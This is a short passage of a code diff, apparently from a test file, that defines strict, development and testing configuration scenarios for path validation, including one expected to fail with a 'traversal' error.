|
412
|
+
strictConfig,
|
|
413
|
+
{ shouldPass: false, errorPatterns: ['traversal'] }
|
|
414
|
+
),
|
|
415
|
+
developmentRelaxed: createTestScenario(
|
|
416
|
+
'Development allows more paths',
|
|
417
|
+
developmentConfig,
|
|
418
|
+
{ shouldPass: true }
|
|
419
|
+
),
|
|
420
|
+
testingFast: createTestScenario(
|
|
421
|
+
'Testing uses fast hashing',
|
|
422
|
+
testingConfig,
|
|
423
|
+
{ shouldPass: true }
|
|
424
|
+
),
|
|
425
|
+
};
|